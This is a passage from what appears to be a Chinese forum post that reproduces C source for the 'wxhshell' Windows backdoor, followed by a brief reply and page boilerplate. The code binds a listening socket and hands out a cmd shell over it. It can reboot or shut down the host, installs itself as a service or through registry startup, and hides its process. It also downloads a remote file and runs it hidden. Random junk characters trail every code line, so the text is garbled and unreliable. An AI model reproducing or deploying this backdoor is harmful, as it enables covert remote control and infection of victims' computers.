  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :v''"+\  
  } W[@"H1bVH  
  else { \qRjXadj  
nqUH6(  
    switch(cmd[0]) { B/:>{2cm  
  ~7KynE  
  // 帮助 -aTg>Q|g&  
  case '?': { a  [0N,t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \>w@=bq26  
    break; EgkZ$ah  
  } G >I.  
  // 安装 s}z(|I rH  
  case 'i': { B6^w{eXN  
    if(Install()) %kaTQ"PB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x Q@&W;  
    else p]X!g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Q &Xb <  
    break; ^p'D<!6sK  
    } F%Ro98?{  
  // 卸载 _ +0uju?o}  
  case 'r': { fbi H   
    if(Uninstall()) ".Tf< F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "`y W]v  
    else  m,xy4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oC ^z_AtZ  
    break; |% la  
    } QYFN:XZ  
  // 显示 wxhshell 所在路径 rHA/  
  case 'p': { v3iDh8.__  
    char svExeFile[MAX_PATH]; (UbR%A|v;  
    strcpy(svExeFile,"\n\r"); ]QjXh >  
      strcat(svExeFile,ExeFile); a @yE:HU  
        send(wsh,svExeFile,strlen(svExeFile),0); )&g2D@+{  
    break; 9`hpa-m@  
    } *q\HFI  
  // 重启 Oi+Qy[y2  
  case 'b': { Y)@oo=oG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =[v2   
    if(Boot(REBOOT)) znGZULa#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CfazD??x  
    else { h7Shl<f  
    closesocket(wsh); N9fUlXhR  
    ExitThread(0); QySca(1tN  
    } R|cFpRe  
    break; PaU@T!v  
    } t*ri`}a{v  
  // 关机 |hZ|+7  
  case 'd': { %-0em!tUV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q_UCF'f;}  
    if(Boot(SHUTDOWN)) x);?jxd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 61t-  
    else { b[QCM/  
    closesocket(wsh); u0(hVK`":  
    ExitThread(0); Q>#)LHX  
    } Yg]FF`{p=  
    break; )dzjz%B)  
    } HfZ (U5~  
  // 获取shell J~nJpUyP*  
  case 's': { *$*nY [/5  
    CmdShell(wsh); iq[2H$  
    closesocket(wsh); o} bj!h]N  
    ExitThread(0); #I*ht0++  
    break; q=j/s4~  
  } SWe!9Y$  
  // 退出 7,&3=R <  
  case 'x': { z}Mb4{d1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ocDVCCkxg  
    CloseIt(wsh); !X#3w-K  
    break; PgGrk5;  
    } [|P]St-  
  // 离开 %te'J G<  
  case 'q': { ,<Do ^HB/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >cU*D:  
    closesocket(wsh); iNaC ZC  
    WSACleanup(); %WXVfkD  
    exit(1); fmT3Afl5c  
    break; 3n=O8Fp  
        } !W6    
  } SFm.<^6  
  } z!uB&2C{k  
55jY` b .  
  // 提示信息 -* -zU#2|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ix_$Ok  
} LRLhS<9  
  } uDMUy"8&!  
B'[3kJ'  
  return; &_Xv:?  
} "KQ\F0/  
o*5e14W(:  
// shell模块句柄 ~[bMfkc3  
int CmdShell(SOCKET sock) G~mB=]  
{ E l8.D3  
STARTUPINFO si;  Lqf#,J  
ZeroMemory(&si,sizeof(si)); 83O^e&Bt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hPCSLJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z|4@nqqX  
PROCESS_INFORMATION ProcessInfo; J{'zkR?Lr  
char cmdline[]="cmd"; $=6kh+n@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EJSgTtp 2  
  return 0; E6KBpQcd[  
} =[CS2VQ'  
hH@o|!y  
// 自身启动模式 Y9c9/_CSj  
int StartFromService(void) l{7Dv1[Ss  
{ u/c~PxC  
typedef struct y<gYf -E+  
{ c)P%O  
  DWORD ExitStatus; e"&9G}.f  
  DWORD PebBaseAddress; 2l}Fg D  
  DWORD AffinityMask; 3dzqV aV  
  DWORD BasePriority; /`]|_>'  
  ULONG UniqueProcessId; KE|u}M@v6  
  ULONG InheritedFromUniqueProcessId; Z+pvdu  
}   PROCESS_BASIC_INFORMATION; JKu6+V jO  
9zGKQ|X)  
PROCNTQSIP NtQueryInformationProcess; )]e d;V  
"Qm~;x2kB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,`B>}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -|iA!w#31  
'/]Aaf@U8  
  HANDLE             hProcess; d)J] Y=j  
  PROCESS_BASIC_INFORMATION pbi; W$ d{  
k=q%FlE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `OpC-Z&  
  if(NULL == hInst ) return 0; ObHz+qRG  
9#$V1(}?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o dQ&0d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :?of./Df|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WaZ@  
w<^2h}5  
  if (!NtQueryInformationProcess) return 0; @'| 6lG  
Fn0LE~O}-8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *ytd.^@r  
  if(!hProcess) return 0; )T~ +>+t  
=R8.QBVdN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sMpC4E  
#__'U6`(  
  CloseHandle(hProcess); '~x_  
\iTPJcb5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p]IhQnj2  
if(hProcess==NULL) return 0; 'rx,f  
^Y*.Ktp,o  
HMODULE hMod; !/ q&0a  
char procName[255]; q,h.W JI  
unsigned long cbNeeded; IfI$  
5'L}LT8p@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SvpTs  
F#C6.`B  
  CloseHandle(hProcess); U JRT4>G  
_ .   
if(strstr(procName,"services")) return 1; // 以服务启动 |Btx&'m  
Q~8&pP8 I!  
  return 0; // 注册表启动 Env}gCX  
} a9q?9X  
KVe'2Q<  
// 主模块 )( jNd&H  
int StartWxhshell(LPSTR lpCmdLine) Tee3U%Y  
{ sf&K<C](  
  SOCKET wsl; lNnbd?D8  
BOOL val=TRUE; u2Z^iY  
  int port=0; {(:)  
  struct sockaddr_in door; .`8,$"`4)  
?g1 .-'  
  if(wscfg.ws_autoins) Install(); J+*Y)k  
^*~u4app  
port=atoi(lpCmdLine); _EBDv0s  
o_+Qer=O6  
if(port<=0) port=wscfg.ws_port; H" g&  
G Z[5m[  
  WSADATA data; c!FjHlAnP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J_br%AG<p  
H;8]GE2n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^RDXX+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 42[:s:  
  door.sin_family = AF_INET; >qGR^yvb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cO?"  
  door.sin_port = htons(port); R$,iDv.jI  
@V CQ4X7T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #)eJz1~  
closesocket(wsl); T#;*I#A:  
return 1; (ZR"O8  
} SPm5tU  
#AnSjl  
  if(listen(wsl,2) == INVALID_SOCKET) { YU"\Wd[  
closesocket(wsl); %l P   
return 1; @Sd:]h:f-  
} 5'[X&r %#  
  Wxhshell(wsl); u\;dU nr  
  WSACleanup(); q2pao?aa  
&l*dYzqq  
return 0; QnAf A%  
5} aC'j\  
} H<Taf%JT  
%QZ!Tb  
// 以NT服务方式启动 <"P '"SC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S; <?nz3  
{ 3@bjIX`=H  
DWORD   status = 0; $?Mz[X  
  DWORD   specificError = 0xfffffff; LjAIB(*  
&_^<B7aC'k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W{/z-&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FPFYH?;$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C)kQi2T  
  serviceStatus.dwWin32ExitCode     = 0; eBKIdR%k  
  serviceStatus.dwServiceSpecificExitCode = 0; 'a[|}nJ3  
  serviceStatus.dwCheckPoint       = 0; c324@o^V  
  serviceStatus.dwWaitHint       = 0; >mltE$|  
#IwB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /Day5\Q#  
  if (hServiceStatusHandle==0) return; {j@)sDM X  
?b$zuJ]  
status = GetLastError(); ZKL%rp_  
  if (status!=NO_ERROR) NUtyUv  
{ ~n 9DG>a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T+"y8#:  
    serviceStatus.dwCheckPoint       = 0; JNl+UH:.  
    serviceStatus.dwWaitHint       = 0; 1/BMs0 =  
    serviceStatus.dwWin32ExitCode     = status; nU *fne?  
    serviceStatus.dwServiceSpecificExitCode = specificError; `3n*4Lz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G* 6<pp  
    return; K9Fnb6J$u  
  } LK5H~FK  
a];g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QYGxr+D  
  serviceStatus.dwCheckPoint       = 0; *s4!;2ZhsU  
  serviceStatus.dwWaitHint       = 0; =^M t#h."  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jjq%cA  
} I]$d,N!.  
jYZWf `X~  
// 处理NT服务事件,比如:启动、停止 .AW*7Pp`f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9Q1GV>j>B  
{ YTit=4|  
switch(fdwControl) _x{x#d;L3  
{ :.Sc[UI0  
case SERVICE_CONTROL_STOP: kl9z;(6p  
  serviceStatus.dwWin32ExitCode = 0; k| o,gcU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ![tI(TPq  
  serviceStatus.dwCheckPoint   = 0; @>j \~<%  
  serviceStatus.dwWaitHint     = 0; c[7qnSH  
  { dVfDS-v!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DyZ90]N  
  } h)`vc#"65k  
  return; `:4cb $  
case SERVICE_CONTROL_PAUSE: ijYLf.R<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }('' |z#UE  
  break; \ChcJth@o<  
case SERVICE_CONTROL_CONTINUE: OK}"|:hrd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q(3x"+  
  break; c y$$}  
case SERVICE_CONTROL_INTERROGATE: b2%[9) "I.  
  break; h`j gF  
}; /XB1U[b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0xcqX!(  
} 6iWuBsal  
^*Fkt(ida  
// 标准应用程序主函数 M3kE91  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `s$@6r$  
{ 6u}NI!he  
8< -Vkr  
// 获取操作系统版本 e>)5j1  
OsIsNt=GetOsVer(); e8 .bH#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q4N$.hpb  
7 '/&mX>  
  // 从命令行安装 Hyg?as>}u  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1gJ!!SHPo  
$z]l4Hj  
  // 下载执行文件 +pm8;&  
if(wscfg.ws_downexe) { F o6U "  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vGw}e&YI  
  WinExec(wscfg.ws_filenam,SW_HIDE); OHo0W)XUU  
} s q KkTG3  
{IvCe0`  
if(!OsIsNt) { 8=9sIK2  
// 如果时win9x,隐藏进程并且设置为注册表启动 9g"H9)EZ^  
HideProc(); ]Ox.6BKjDP  
StartWxhshell(lpCmdLine); NM Ajt>t  
} zOw]P6Gk  
else =qvU9p2o  
  if(StartFromService()) Dn?L   
  // 以服务方式启动 H5{J2M,f  
  StartServiceCtrlDispatcher(DispatchTable); wSMgBRV#^  
else CHB{P\WF  
  // 普通方式启动 bJD"&h5  
  StartWxhshell(lpCmdLine); WXL.D_=+  
)J0VB't  
return 0; t;'.D @  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五